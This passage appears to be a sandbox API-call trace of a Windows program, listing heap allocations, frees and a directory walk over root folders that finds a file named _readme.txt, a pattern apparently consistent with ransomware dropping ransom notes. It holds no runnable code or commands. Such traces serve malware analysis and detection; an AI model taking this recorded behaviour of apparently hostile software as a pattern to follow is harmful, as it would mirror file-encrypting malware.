lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.190] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc620 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.190] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.191] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16c) returned 0x6aabb8 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5e8 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018720 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda58 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc620 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fefeb8 | out: hHeap=0x5b0000) returned 1 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.191] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd9c8 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda58 | out: hHeap=0x5b0000) returned 1 [0122.192] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd046150, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xd046150, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xd046150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.192] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.192] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x214) returned 0x307bd40 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc620 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018720 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018888 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5e8 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188d8 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018838 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aabb8 | out: hHeap=0x5b0000) returned 1 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.193] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139e7190, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.193] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x139e7190, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.193] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.193] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.193] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.194] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.195] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.195] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.196] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.196] 